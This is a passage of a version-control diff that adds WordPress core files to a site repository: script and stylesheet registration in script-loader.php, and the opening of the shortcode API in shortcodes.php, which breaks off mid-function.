+	$scripts->add( 'schedule', '/wp-includes/js/jquery/jquery.schedule.js', array('jquery'), '20m');
+	$scripts->add_data( 'schedule', 'group', 1 );
+
+	$scripts->add( 'jquery-hotkeys', "/wp-includes/js/jquery/jquery.hotkeys$suffix.js", array('jquery'), '0.0.2m' );
+	$scripts->add_data( 'jquery-hotkeys', 'group', 1 );
+
+	$scripts->add( 'jquery-table-hotkeys', "/wp-includes/js/jquery/jquery.table-hotkeys$suffix.js", array('jquery', 'jquery-hotkeys'), '20090102' );
+	$scripts->add_data( 'jquery-table-hotkeys', 'group', 1 );
+
+	$scripts->add( 'thickbox', "/wp-includes/js/thickbox/thickbox.js", array('jquery'), '3.1-20090123');
+	$scripts->add_data( 'thickbox', 'group', 1 );
+
+	$scripts->add( 'jcrop', "/wp-includes/js/jcrop/jquery.Jcrop$suffix.js", array('jquery'), '0.9.8');
+
+	$scripts->add( 'swfobject', "/wp-includes/js/swfobject.js", false, '2.1');
+
+	$scripts->add( 'swfupload', '/wp-includes/js/swfupload/swfupload.js', false, '2201');
+	$scripts->add( 'swfupload-swfobject', '/wp-includes/js/swfupload/plugins/swfupload.swfobject.js', array('swfupload', 'swfobject'), '2201');
+	$scripts->add( 'swfupload-queue', '/wp-includes/js/swfupload/plugins/swfupload.queue.js', array('swfupload'), '2201');
+	$scripts->add( 'swfupload-speed', '/wp-includes/js/swfupload/plugins/swfupload.speed.js', array('swfupload'), '2201');
+
+	if ( defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ) {
+		// queue all SWFUpload scripts that are used by default
+		$scripts->add( 'swfupload-all', false, array('swfupload', 'swfupload-swfobject', 'swfupload-queue'), '2201');
+	} else {
+		$scripts->add( 'swfupload-all', '/wp-includes/js/swfupload/swfupload-all.js', array(), '2201');
+	}
+
+	$scripts->add( 'swfupload-handlers', "/wp-includes/js/swfupload/handlers$suffix.js", array('swfupload-all', 'jquery'), '2201-20090515');
+	// these error messages came from the sample swfupload js, they might need changing.
+	$scripts->localize( 'swfupload-handlers', 'swfuploadL10n', array(
+			'queue_limit_exceeded' => __('You have attempted to queue too many files.'),
+			'file_exceeds_size_limit' => sprintf(__('This file is too big. Your php.ini upload_max_filesize is %s.'), @ini_get('upload_max_filesize')),
+			'zero_byte_file' => __('This file is empty. Please try another.'),
+			'invalid_filetype' => __('This file type is not allowed. Please try another.'),
+			'default_error' => __('An error occurred in the upload. Please try again later.'),
+			'missing_upload_url' => __('There was a configuration error. Please contact the server administrator.'),
+			'upload_limit_exceeded' => __('You may only upload 1 file.'),
+			'http_error' => __('HTTP error.'),
+			'upload_failed' => __('Upload failed.'),
+			'io_error' => __('IO error.'),
+			'security_error' => __('Security error.'),
+			'file_cancelled' => __('File cancelled.'),
+			'upload_stopped' => __('Upload stopped.'),
+			'dismiss' => __('Dismiss'),
+			'crunching' => __('Crunching&hellip;'),
+			'deleted' => __('Deleted'),
+			'l10n_print_after' => 'try{convertEntities(swfuploadL10n);}catch(e){};'
+	) );
+
+	$scripts->add( 'comment-reply', "/wp-includes/js/comment-reply$suffix.js", false, '20090102');
+
+	if ( is_admin() ) {
+		$scripts->add( 'ajaxcat', "/wp-admin/js/cat$suffix.js", array( 'wp-lists' ), '20090102' );
+		$scripts->add_data( 'ajaxcat', 'group', 1 );
+		$scripts->localize( 'ajaxcat', 'catL10n', array(
+			'add' => esc_attr(__('Add')),
+			'how' => __('Separate multiple categories with commas.'),
+			'l10n_print_after' => 'try{convertEntities(catL10n);}catch(e){};'
+		) );
+
+		$scripts->add( 'admin-categories', "/wp-admin/js/categories$suffix.js", array('wp-lists'), '20090207' );
+		$scripts->add_data( 'admin-categories', 'group', 1 );
+
+		$scripts->add( 'admin-tags', "/wp-admin/js/tags$suffix.js", array('wp-lists'), '20090211' );
+		$scripts->add_data( 'admin-tags', 'group', 1 );
+
+		$scripts->add( 'admin-custom-fields', "/wp-admin/js/custom-fields$suffix.js", array('wp-lists'), '20090106' );
+		$scripts->add_data( 'admin-custom-fields', 'group', 1 );
+
+		$scripts->add( 'password-strength-meter', "/wp-admin/js/password-strength-meter$suffix.js", array('jquery'), '20090102' );
+		$scripts->add_data( 'password-strength-meter', 'group', 1 );
+		$scripts->localize( 'password-strength-meter', 'pwsL10n', array(
+			'empty' => __('Strength indicator'),
+			'short' => __('Very weak'),
+			'bad' => __('Weak'),
+			/* translators: password strength */
+			'good' => _x('Medium', 'password strength'),
+			'strong' => __('Strong'),
+			'l10n_print_after' => 'try{convertEntities(pwsL10n);}catch(e){};'
+		) );
+
+		$scripts->add( 'user-profile', "/wp-admin/js/user-profile$suffix.js", array('jquery'), '20090514' );
+		$scripts->add_data( 'user-profile', 'group', 1 );
+
+		$scripts->add( 'admin-comments', "/wp-admin/js/edit-comments$suffix.js", array('wp-lists', 'jquery-ui-resizable', 'quicktags'), '20090627' );
+		$scripts->add_data( 'admin-comments', 'group', 1 );
+		$scripts->localize( 'admin-comments', 'adminCommentsL10n', array(
+			'hotkeys_highlight_first' => isset($_GET['hotkeys_highlight_first']),
+			'hotkeys_highlight_last' => isset($_GET['hotkeys_highlight_last'])
+		) );
+
+		$scripts->add( 'xfn', "/wp-admin/js/xfn$suffix.js", false, '3517m' );
+
+		$scripts->add( 'postbox', "/wp-admin/js/postbox$suffix.js", array('jquery-ui-sortable'), '20090618' );
+		$scripts->add_data( 'postbox', 'group', 1 );
+		$scripts->localize( 'postbox', 'postboxL10n', array(
+			'requestFile' => admin_url('admin-ajax.php')
+		) );
+
+		$scripts->add( 'slug', "/wp-admin/js/slug$suffix.js", array('jquery'), '20090207' );
+		$scripts->add_data( 'slug', 'group', 1 );
+		$scripts->localize( 'slug', 'slugL10n', array(
+			'requestFile' => admin_url('admin-ajax.php'),
+			'save' => __('Save'),
+			'cancel' => __('Cancel'),
+			'l10n_print_after' => 'try{convertEntities(slugL10n);}catch(e){};'
+		) );
+
+		$scripts->add( 'post', "/wp-admin/js/post$suffix.js", array('suggest', 'wp-lists', 'postbox', 'slug'), '20090624' );
+		$scripts->add_data( 'post', 'group', 1 );
+		$scripts->localize( 'post', 'postL10n', array(
+			'tagsUsed' =>  __('Tags used on this post:'),
+			'add' => esc_attr(__('Add')),
+			'addTag' => esc_attr(__('Add new tag')),
+			'separate' => __('Separate tags with commas'),
+			'cancel' => __('Cancel'),
+			'edit' => __('Edit'),
+			'publishOn' => __('Publish on:'),
+			'publishOnFuture' =>  __('Schedule for:'),
+			'publishOnPast' => __('Published on:'),
+			'showcomm' => __('Show more comments'),
+			'endcomm' => __('No more comments found.'),
+			'publish' => __('Publish'),
+			'schedule' => __('Schedule'),
+			'update' => __('Update Post'),
+			'savePending' => __('Save as Pending'),
+			'saveDraft' => __('Save Draft'),
+			'private' => __('Private'),
+			'public' => __('Public'),
+			'publicSticky' => __('Public, Sticky'),
+			'password' => __('Password Protected'),
+			'privatelyPublished' => __('Privately Published'),
+			'published' => __('Published'),
+			'l10n_print_after' => 'try{convertEntities(postL10n);}catch(e){};'
+		) );
+
+		$scripts->add( 'page', "/wp-admin/js/page$suffix.js", array('jquery', 'slug', 'wp-lists', 'postbox'), '20090526' );
+		$scripts->add_data( 'page', 'group', 1 );
+		$scripts->localize( 'page', 'postL10n', array(
+			'cancel' => __('Cancel'),
+			'edit' => __('Edit'),
+			'publishOn' => __('Publish on:'),
+			'publishOnFuture' =>  __('Schedule for:'),
+			'publishOnPast' => __('Published on:'),
+			'showcomm' => __('Show more comments'),
+			'endcomm' => __('No more comments found.'),
+			'publish' => __('Publish'),
+			'schedule' => __('Schedule'),
+			'update' => __('Update Page'),
+			'savePending' => __('Save as Pending'),
+			'saveDraft' => __('Save Draft'),
+			'private' => __('Private'),
+			'public' => __('Public'),
+			'password' => __('Password Protected'),
+			'privatelyPublished' => __('Privately Published'),
+			'published' => __('Published'),
+			'l10n_print_after' => 'try{convertEntities(postL10n);}catch(e){};'
+		) );
+
+		$scripts->add( 'link', "/wp-admin/js/link$suffix.js", array('wp-lists', 'postbox'), '20090506' );
+		$scripts->add_data( 'link', 'group', 1 );
+
+		$scripts->add( 'comment', "/wp-admin/js/comment$suffix.js", array('jquery'), '20090102' );
+		$scripts->add_data( 'comment', 'group', 1 );
+		$scripts->localize( 'comment', 'commentL10n', array(
+			'cancel' => __('Cancel'),
+			'edit' => __('Edit'),
+			'submittedOn' => __('Submitted on:'),
+			'l10n_print_after' => 'try{convertEntities(commentL10n);}catch(e){};'
+		) );
+
+		$scripts->add( 'admin-gallery', "/wp-admin/js/gallery$suffix.js", array( 'jquery-ui-sortable' ), '20090516' );
+
+		$scripts->add( 'media-upload', "/wp-admin/js/media-upload$suffix.js", array( 'thickbox' ), '20090114' );
+		$scripts->add_data( 'media-upload', 'group', 1 );
+
+		$scripts->add( 'admin-widgets', "/wp-admin/js/widgets$suffix.js", array( 'jquery-ui-sortable', 'jquery-ui-draggable', 'jquery-ui-droppable' ), '20090601' );
+		$scripts->add_data( 'admin-widgets', 'group', 1 );
+
+		$scripts->add( 'word-count', "/wp-admin/js/word-count$suffix.js", array( 'jquery' ), '20090422' );
+		$scripts->add_data( 'word-count', 'group', 1 );
+		$scripts->localize( 'word-count', 'wordCountL10n', array(
+			'count' => __('Word count: %d'),
+			'l10n_print_after' => 'try{convertEntities(wordCountL10n);}catch(e){};'
+		));
+
+		$scripts->add( 'wp-gears', "/wp-admin/js/wp-gears$suffix.js", false, '20090102' );
+		$scripts->localize( 'wp-gears', 'wpGearsL10n', array(
+			'updateCompleted' => __('Update completed.'),
+			'error' => __('Error:'),
+			'l10n_print_after' => 'try{convertEntities(wpGearsL10n);}catch(e){};'
+		));
+
+		$scripts->add( 'theme-preview', "/wp-admin/js/theme-preview$suffix.js", array( 'thickbox', 'jquery' ), '20090319' );
+		$scripts->add_data( 'theme-preview', 'group', 1 );
+
+		$scripts->add( 'inline-edit-post', "/wp-admin/js/inline-edit-post$suffix.js", array( 'jquery-form', 'suggest' ), '20090125' );
+		$scripts->add_data( 'inline-edit-post', 'group', 1 );
+		$scripts->localize( 'inline-edit-post', 'inlineEditL10n', array(
+			'error' => __('Error while saving the changes.'),
+			'ntdeltitle' => __('Remove From Bulk Edit'),
+			'notitle' => __('(no title)'),
+			'l10n_print_after' => 'try{convertEntities(inlineEditL10n);}catch(e){};'
+		) );
+
+		$scripts->add( 'inline-edit-tax', "/wp-admin/js/inline-edit-tax$suffix.js", array( 'jquery-form' ), '20090211' );
+		$scripts->add_data( 'inline-edit-tax', 'group', 1 );
+		$scripts->localize( 'inline-edit-tax', 'inlineEditL10n', array(
+			'error' => __('Error while saving the changes.'),
+			'l10n_print_after' => 'try{convertEntities(inlineEditL10n);}catch(e){};'
+		) );
+
+		$scripts->add( 'plugin-install', "/wp-admin/js/plugin-install$suffix.js", array( 'jquery' ), '20090520' );
+		$scripts->add_data( 'plugin-install', 'group', 1 );
+		$scripts->localize( 'plugin-install', 'plugininstallL10n', array(
+			'plugin_information' => __('Plugin Information:'),
+			'l10n_print_after' => 'try{convertEntities(plugininstallL10n);}catch(e){};'
+		) );
+
+		$scripts->add( 'farbtastic', '/wp-admin/js/farbtastic.js', array('jquery'), '1.2' );
+
+		$scripts->add( 'dashboard', "/wp-admin/js/dashboard$suffix.js", array( 'jquery', 'admin-comments', 'postbox' ), '20090618' );
+		$scripts->add_data( 'dashboard', 'group', 1 );
+
+		$scripts->add( 'hoverIntent', "/wp-includes/js/hoverIntent$suffix.js", array('jquery'), '20090102' );
+		$scripts->add_data( 'hoverIntent', 'group', 1 );
+
+		$scripts->add( 'media', "/wp-admin/js/media$suffix.js", array( 'jquery-ui-draggable' ), '20090415' );
+		$scripts->add_data( 'media', 'group', 1 );
+
+		$scripts->add( 'codepress', '/wp-includes/js/codepress/codepress.js', false, '0.9.6' );
+		$scripts->add_data( 'codepress', 'group', 1 );
+	}
+}
+
+/**
+ * Assign default styles to $styles object.
+ *
+ * Nothing is returned, because the $styles parameter is passed by reference.
+ * Meaning that whatever object is passed will be updated without having to
+ * reassign the variable that was passed back to the same value. This saves
+ * memory.
+ *
+ * Adding default styles is not the only task, it also assigns the base_url
+ * property, the default version, and text direction for the object.
+ *
+ * @since 2.6.0
+ *
+ * @param object $styles
+ */
+function wp_default_styles( &$styles ) {
+	// This checks to see if site_url() returns something and if it does not
+	// then it assigns $guess_url to wp_guess_url(). Strange format, but it works.
+	if ( ! $guessurl = site_url() )
+		$guessurl = wp_guess_url();
+
+	$styles->base_url = $guessurl;
+	$styles->content_url = defined('WP_CONTENT_URL')? WP_CONTENT_URL : '';
+	$styles->default_version = get_bloginfo( 'version' );
+	$styles->text_direction = 'rtl' == get_bloginfo( 'text_direction' ) ? 'rtl' : 'ltr';
+	$styles->default_dirs = array('/wp-admin/');
+
+	$rtl_styles = array( 'global', 'colors', 'dashboard', 'ie', 'install', 'login', 'media', 'theme-editor', 'upload', 'widgets', 'press-this', 'plugin-install', 'farbtastic' );
+
+	// all colors stylesheets need to have the same query strings (cache manifest compat)
+	$colors_version = '20090625';
+
+	$styles->add( 'wp-admin', '/wp-admin/wp-admin.css', array(), '20090625' );
+	$styles->add_data( 'wp-admin', 'rtl', '/wp-admin/rtl.css' );
+
+	$styles->add( 'ie', '/wp-admin/css/ie.css', array(), '20090630' );
+	$styles->add_data( 'ie', 'conditional', 'lte IE 7' );
+
+	// Register "meta" stylesheet for admin colors. All colors-* style sheets should have the same version string.
+	$styles->add( 'colors', true, array(), $colors_version );
+	
+	// do not refer to these directly, the right one is queued by the above "meta" colors handle
+	$styles->add( 'colors-fresh', '/wp-admin/css/colors-fresh.css', array(), $colors_version);
+	$styles->add_data( 'colors-fresh', 'rtl', true );
+	$styles->add( 'colors-classic', '/wp-admin/css/colors-classic.css', array(), $colors_version);
+	$styles->add_data( 'colors-classic', 'rtl', true );
+
+	$styles->add( 'global', '/wp-admin/css/global.css', array(), '20090630' );
+	$styles->add( 'media', '/wp-admin/css/media.css', array(), '20090516' );
+	$styles->add( 'widgets', '/wp-admin/css/widgets.css', array(), '20090603' );
+	$styles->add( 'dashboard', '/wp-admin/css/dashboard.css', array(), '20090514' );
+	$styles->add( 'install', '/wp-admin/css/install.css', array(), '20090514' );
+	$styles->add( 'theme-editor', '/wp-admin/css/theme-editor.css', array(), '20090625' );
+	$styles->add( 'press-this', '/wp-admin/css/press-this.css', array(), '20090514' );
+	$styles->add( 'thickbox', '/wp-includes/js/thickbox/thickbox.css', array(), '20090514' );
+	$styles->add( 'login', '/wp-admin/css/login.css', array(), '20090514' );
+	$styles->add( 'plugin-install', '/wp-admin/css/plugin-install.css', array(), '20090514' );
+	$styles->add( 'theme-install', '/wp-admin/css/theme-install.css', array(), '20090610' );
+	$styles->add( 'farbtastic', '/wp-admin/css/farbtastic.css', array(), '1.2' );
+	$styles->add( 'jcrop', '/wp-includes/js/jcrop/jquery.Jcrop.css', array(), '0.9.8' );
+
+	foreach ( $rtl_styles as $rtl_style )
+		$styles->add_data( $rtl_style, 'rtl', true );
+}
+
+/**
+ * Reorder JavaScript scripts array to place prototype before jQuery.
+ *
+ * @since 2.3.1
+ *
+ * @param array $js_array JavaScript scripst array
+ * @return array Reordered array, if needed.
+ */
+function wp_prototype_before_jquery( $js_array ) {
+	if ( false === $jquery = array_search( 'jquery', $js_array, true ) )
+		return $js_array;
+
+	if ( false === $prototype = array_search( 'prototype', $js_array, true ) )
+		return $js_array;
+
+	if ( $prototype < $jquery )
+		return $js_array;
+
+	unset($js_array[$prototype]);
+
+	array_splice( $js_array, $jquery, 0, 'prototype' );
+
+	return $js_array;
+}
+
+/**
+ * Load localized script just in time for MCE.
+ *
+ * These localizations require information that may not be loaded even by init.
+ *
+ * @since 2.5.0
+ */
+function wp_just_in_time_script_localization() {
+
+	wp_localize_script( 'autosave', 'autosaveL10n', array(
+		'autosaveInterval' => AUTOSAVE_INTERVAL,
+		'previewPageText' => __('Preview this Page'),
+		'previewPostText' => __('Preview this Post'),
+		'requestFile' => admin_url('admin-ajax.php'),
+		'savingText' => __('Saving Draft&#8230;'),
+		'saveAlert' => __('The changes you made will be lost if you navigate away from this page.'),
+		'l10n_print_after' => 'try{convertEntities(autosaveL10n);}catch(e){};'
+	) );
+}
+
+/**
+ * Administration Panel CSS for changing the styles.
+ *
+ * If installing the 'wp-admin/' directory will be replaced with './'.
+ *
+ * The $_wp_admin_css_colors global manages the Administration Panels CSS
+ * stylesheet that is loaded. The option that is set is 'admin_color' and is the
+ * color and key for the array. The value for the color key is an object with
+ * a 'url' parameter that has the URL path to the CSS file.
+ *
+ * The query from $src parameter will be appended to the URL that is given from
+ * the $_wp_admin_css_colors array value URL.
+ *
+ * @since 2.6.0
+ * @uses $_wp_admin_css_colors
+ *
+ * @param string $src Source URL.
+ * @param string $handle Either 'colors' or 'colors-rtl'.
+ * @return string URL path to CSS stylesheet for Administration Panels.
+ */
+function wp_style_loader_src( $src, $handle ) {
+	if ( defined('WP_INSTALLING') )
+		return preg_replace( '#^wp-admin/#', './', $src );
+
+	if ( 'colors' == $handle || 'colors-rtl' == $handle ) {
+		global $_wp_admin_css_colors;
+		$color = get_user_option('admin_color');
+		if ( empty($color) || !isset($_wp_admin_css_colors[$color]) )
+			$color = 'fresh';
+		$color = $_wp_admin_css_colors[$color];
+		$parsed = parse_url( $src );
+		$url = $color->url;
+		if ( isset($parsed['query']) && $parsed['query'] ) {
+			wp_parse_str( $parsed['query'], $qv );
+			$url = add_query_arg( $qv, $url );
+		}
+		return $url;
+	}
+
+	return $src;
+}
+
+/**
+ * Prints the script queue in the HTML head on admin pages.
+ *
+ * Postpones the scripts that were queued for the footer.
+ * print_footer_scripts() is called in the footer to print these scripts.
+ *
+ * @since 2.8
+ * @see wp_print_scripts()
+ */
+function print_head_scripts() {
+	global $wp_scripts, $concatenate_scripts;
+
+	if ( ! did_action('wp_print_scripts') )
+		do_action('wp_print_scripts');
+
+	if ( !is_a($wp_scripts, 'WP_Scripts') )
+		$wp_scripts = new WP_Scripts();
+
+	script_concat_settings();
+	$wp_scripts->do_concat = $concatenate_scripts;
+	$wp_scripts->do_head_items();
+
+	if ( apply_filters('print_head_scripts', true) )
+		_print_scripts();
+
+	$wp_scripts->reset();
+	return $wp_scripts->done;
+}
+
+/**
+ * Prints the scripts that were queued for the footer on admin pages.
+ *
+ * @since 2.8
+ */
+function print_footer_scripts() {
+	global $wp_scripts, $concatenate_scripts;
+
+	if ( ! did_action('wp_print_footer_scripts') )
+		do_action('wp_print_footer_scripts');
+
+	if ( !is_a($wp_scripts, 'WP_Scripts') )
+		return array(); // No need to run if not instantiated.
+
+	script_concat_settings();
+	$wp_scripts->do_concat = $concatenate_scripts;
+	$wp_scripts->do_footer_items();
+
+	if ( apply_filters('print_footer_scripts', true) )
+		_print_scripts();
+
+	$wp_scripts->reset();
+	return $wp_scripts->done;
+}
+
+function _print_scripts() {
+	global $wp_scripts, $compress_scripts;
+
+	$zip = $compress_scripts ? 1 : 0;
+	if ( $zip && defined('ENFORCE_GZIP') && ENFORCE_GZIP )
+		$zip = 'gzip';
+
+	if ( !empty($wp_scripts->concat) ) {
+
+		if ( !empty($wp_scripts->print_code) ) {
+			echo "<script type='text/javascript'>\n";
+			echo "/* <![CDATA[ */\n";
+			echo $wp_scripts->print_code;
+			echo "/* ]]> */\n";
+			echo "</script>\n";
+		}
+
+		$ver = md5("$wp_scripts->concat_version");
+		$src = $wp_scripts->base_url . "/wp-admin/load-scripts.php?c={$zip}&load=" . trim($wp_scripts->concat, ', ') . "&ver=$ver";
+		echo "<script type='text/javascript' src='" . esc_attr($src) . "'></script>\n";
+	}
+
+	if ( !empty($wp_scripts->print_html) )
+		echo $wp_scripts->print_html;
+}
+
+/**
+ * Prints the script queue in the HTML head on the front end.
+ *
+ * Postpones the scripts that were queued for the footer.
+ * wp_print_footer_scripts() is called in the footer to print these scripts.
+ *
+ * @since 2.8
+ */
+function wp_print_head_scripts() {
+	if ( ! did_action('wp_print_scripts') )
+		do_action('wp_print_scripts');
+
+	global $wp_scripts;
+
+	if ( !is_a($wp_scripts, 'WP_Scripts') )
+		return array(); // no need to run if nothing is queued
+
+	return print_head_scripts();
+}
+
+/**
+ * Prints the scripts that were queued for the footer on the front end.
+ *
+ * @since 2.8
+ */
+function wp_print_footer_scripts() {
+	return print_footer_scripts();
+}
+
+/**
+ * Wrapper for do_action('wp_enqueue_scripts')
+ *
+ * Allows plugins to queue scripts for the front end using wp_enqueue_script().
+ * Runs first in wp_head() where all is_home(), is_page(), etc. functions are available.
+ *
+ * @since 2.8
+ */
+function wp_enqueue_scripts() {
+	do_action('wp_enqueue_scripts');
+}
+
+function print_admin_styles() {
+	global $wp_styles, $concatenate_scripts, $compress_css;
+
+	if ( !is_a($wp_styles, 'WP_Styles') )
+		$wp_styles = new WP_Styles();
+
+	script_concat_settings();
+	$wp_styles->do_concat = $concatenate_scripts;
+	$zip = $compress_css ? 1 : 0;
+	if ( $zip && defined('ENFORCE_GZIP') && ENFORCE_GZIP )
+		$zip = 'gzip';
+
+	$wp_styles->do_items(false);
+
+	if ( apply_filters('print_admin_styles', true) ) {
+		if ( !empty($wp_styles->concat) ) {
+			$dir = $wp_styles->text_direction;
+			$ver = md5("$wp_styles->concat_version{$dir}");
+			$href = $wp_styles->base_url . "/wp-admin/load-styles.php?c={$zip}&dir={$dir}&load=" . trim($wp_styles->concat, ', ') . "&ver=$ver";
+			echo "<link rel='stylesheet' href='" . esc_attr($href) . "' type='text/css' media='all' />\n";
+		}
+
+		if ( !empty($wp_styles->print_html) )
+			echo $wp_styles->print_html;
+	}
+
+	$wp_styles->do_concat = false;
+	$wp_styles->concat = $wp_styles->concat_version = $wp_styles->print_html = '';
+	return $wp_styles->done;
+}
+
+function script_concat_settings() {
+	global $concatenate_scripts, $compress_scripts, $compress_css;
+
+	$compressed_output = ( ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') );
+
+	if ( ! isset($concatenate_scripts) ) {
+		$concatenate_scripts = defined('CONCATENATE_SCRIPTS') ? CONCATENATE_SCRIPTS : true;
+		if ( ! is_admin() || ( defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ) )
+			$concatenate_scripts = false;
+	}
+
+	if ( ! isset($compress_scripts) ) {
+		$compress_scripts = defined('COMPRESS_SCRIPTS') ? COMPRESS_SCRIPTS : true;
+		if ( $compress_scripts && ( ! get_site_option('can_compress_scripts') || $compressed_output ) )
+			$compress_scripts = false;
+	}
+
+	if ( ! isset($compress_css) ) {
+		$compress_css = defined('COMPRESS_CSS') ? COMPRESS_CSS : true;
+		if ( $compress_css && ( ! get_site_option('can_compress_scripts') || $compressed_output ) )
+			$compress_css = false;
+	}
+}
+
+add_action( 'wp_default_scripts', 'wp_default_scripts' );
+add_filter( 'wp_print_scripts', 'wp_just_in_time_script_localization' );
+add_filter( 'print_scripts_array', 'wp_prototype_before_jquery' );
+
+add_action( 'wp_default_styles', 'wp_default_styles' );
+add_filter( 'style_loader_src', 'wp_style_loader_src', 10, 2 );
Index: /trunk/www.guidonia.net/wp/wp-includes/shortcodes.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/shortcodes.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/shortcodes.php	(revision 44)
@@ -0,0 +1,297 @@
+<?php
+/**
+ * WordPress API for creating bbcode like tags or what WordPress calls
+ * "shortcodes." The tag and attribute parsing or regular expression code is
+ * based on the Textpattern tag parser.
+ *
+ * A few examples are below:
+ *
+ * [shortcode /]
+ * [shortcode foo="bar" baz="bing" /]
+ * [shortcode foo="bar"]content[/shortcode]
+ *
+ * Shortcode tags support attributes and enclosed content, but does not entirely
+ * support inline shortcodes in other shortcodes. You will have to call the
+ * shortcode parser in your function to account for that.
+ *
+ * {@internal
+ * Please be aware that the above note was made during the beta of WordPress 2.6
+ * and in the future may not be accurate. Please update the note when it is no
+ * longer the case.}}
+ *
+ * To apply shortcode tags to content:
+ *
+ * <code>
+ * $out = do_shortcode($content);
+ * </code>
+ *
+ * @link http://codex.wordpress.org/Shortcode_API
+ *
+ * @package WordPress
+ * @subpackage Shortcodes
+ * @since 2.5
+ */
+
+/**
+ * Container for storing shortcode tags and their hook to call for the shortcode
+ *
+ * @since 2.5
+ * @name $shortcode_tags
+ * @var array
+ * @global array $shortcode_tags
+ */
+$shortcode_tags = array();
+
+/**
+ * Add hook for shortcode tag.
+ *
+ * There can only be one hook for each shortcode. Which means that if another
+ * plugin has a similar shortcode, it will override yours or yours will override
+ * theirs depending on which order the plugins are included and/or ran.
+ *
+ * Simplest example of a shortcode tag using the API:
+ *
+ * <code>
+ * // [footag foo="bar"]
+ * function footag_func($atts) {
+ * 	return "foo = {$atts[foo]}";
+ * }
+ * add_shortcode('footag', 'footag_func');
+ * </code>
+ *
+ * Example with nice attribute defaults:
+ *
+ * <code>
+ * // [bartag foo="bar"]
+ * function bartag_func($atts) {
+ * 	extract(shortcode_atts(array(
+ * 		'foo' => 'no foo',
+ * 		'baz' => 'default baz',
+ * 	), $atts));
+ *
+ * 	return "foo = {$foo}";
+ * }
+ * add_shortcode('bartag', 'bartag_func');
+ * </code>
+ *
+ * Example with enclosed content:
+ *
+ * <code>
+ * // [baztag]content[/baztag]
+ * function baztag_func($atts, $content='') {
+ * 	return "content = $content";
+ * }
+ * add_shortcode('baztag', 'baztag_func');
+ * </code>
+ *
+ * @since 2.5
+ * @uses $shortcode_tags
+ *
+ * @param string $tag Shortcode tag to be searched in post content.
+ * @param callable $func Hook to run when shortcode is found.
+ */
+function add_shortcode($tag, $func) {
+	global $shortcode_tags;
+
+	if ( is_callable($func) )
+		$shortcode_tags[$tag] = $func;
+}
+
+/**
+ * Removes hook for shortcode.
+ *
+ * @since 2.5
+ * @uses $shortcode_tags
+ *
+ * @param string $tag shortcode tag to remove hook for.
+ */
+function remove_shortcode($tag) {
+	global $shortcode_tags;
+
+	unset($shortcode_tags[$tag]);
+}
+
+/**
+ * Clear all shortcodes.
+ *
+ * This function is simple, it clears all of the shortcode tags by replacing the
+ * shortcodes global by a empty array. This is actually a very efficient method
+ * for removing all shortcodes.
+ *
+ * @since 2.5
+ * @uses $shortcode_tags
+ */
+function remove_all_shortcodes() {
+	global $shortcode_tags;
+
+	$shortcode_tags = array();
+}
+
+/**
+ * Search content for shortcodes and filter shortcodes through their hooks.
+ *
+ * If there are no shortcode tags defined, then the content will be returned
+ * without any filtering. This might cause issues when plugins are disabled but
+ * the shortcode will still show up in the post or content.
+ *
+ * @since 2.5
+ * @uses $shortcode_tags
+ * @uses get_shortcode_regex() Gets the search pattern for searching shortcodes.
+ *
+ * @param string $content Content to search for shortcodes
+ * @return string Content with shortcodes filtered out.
+ */
+function do_shortcode($content) {
+	global $shortcode_tags;
+
+	if (empty($shortcode_tags) || !is_array($shortcode_tags))
+		return $content;
+
+	$pattern = get_shortcode_regex();
+	return preg_replace_callback('/'.$pattern.'/s', 'do_shortcode_tag', $content);
+}
+
+/**
+ * Retrieve the shortcode regular expression for searching.
+ *
+ * The regular expression combines the shortcode tags in the regular expression
+ * in a regex class.
+ *
+ * The regular expresion contains 6 different sub matches to help with parsing.
+ *
+ * 1/6 - An extra [ or ] to allow for escaping shortcodes with double [[]]
+ * 2 - The shortcode name
+ * 3 - The shortcode argument list
+ * 4 - The self closing /
+ * 5 - The content of a shortcode when it wraps some content.
+ *
+ * @since 2.5
+ * @uses $shortcode_tags
+ *
+ * @return string The shortcode search regular expression
+ */
+function get_shortcode_regex() {
+	global $shortcode_tags;
+	$tagnames = array_keys($shortcode_tags);
+	$tagregexp = join( '|', array_map('preg_quote', $tagnames) );
+
+	return '(.?)\[('.$tagregexp.')\b(.*?)(?:(\/))?\](?:(.+?)\[\/\2\])?(.?)';
+}
+
+/**
+ * Regular Expression callable for do_shortcode() for calling shortcode hook.
+ * @see get_shortcode_regex for details of the match array contents.
+ *
+ * @since 2.5
+ * @access private
+ * @uses $shortcode_tags
+ *
+ * @param array $m Regular expression match array
+ * @return mixed False on failure.
+ */
+function do_shortcode_tag($m) {
+	global $shortcode_tags;
+
+	// allow [[foo]] syntax for escaping a tag
+	if ($m[1] == '[' && $m[6] == ']') {
+		return substr($m[0], 1, -1);
+	}
+
+	$tag = $m[2];
+	$attr = shortcode_parse_atts($m[3]);
+
+	if ( isset($m[5]) ) {
+		// enclosing tag - extra parameter
+		return $m[1] . call_user_func($shortcode_tags[$tag], $attr, $m[5], $m[2]) . $m[6];
+	} else {
+		// self-closing tag
+		return $m[1] . call_user_func($shortcode_tags[$tag], $attr, NULL, $m[2]) . $m[6];
+	}
+}
+
+/**
+ * Retrieve all attributes from the shortcodes tag.
+ *
+ * The attributes list has the attribute name as the key and the value of the
+ * attribute as the value in the key/value pair. This allows for easier
+ * retrieval of the attributes, since all attributes have to be known.
+ *
+ * @since 2.5
+ *
+ * @param string $text
+ * @return array List of attributes and their value.
+ */
+function shortcode_parse_atts($text) {
+	$atts = array();
+	$pattern = '/(\w+)\s*=\s*"([^"]*)"(?:\s|$)|(\w+)\s*=\s*\'([^\']*)\'(?:\s|$)|(\w+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|(\S+)(?:\s|$)/';
+	$text = preg_replace("/[\x{00a0}\x{200b}]+/u", " ", $text);
+	if ( preg_match_all($pattern, $text, $match, PREG_SET_ORDER) ) {
+		foreach ($match as $m) {
+			if (!empty($m[1]))
+				$atts[strtolower($m[1])] = stripcslashes($m[2]);
+			elseif (!empty($m[3]))
+				$atts[strtolower($m[3])] = stripcslashes($m[4]);
+			elseif (!empty($m[5]))
+				$atts[strtolower($m[5])] = stripcslashes($m[6]);
+			elseif (isset($m[7]) and strlen($m[7]))
+				$atts[] = stripcslashes($m[7]);
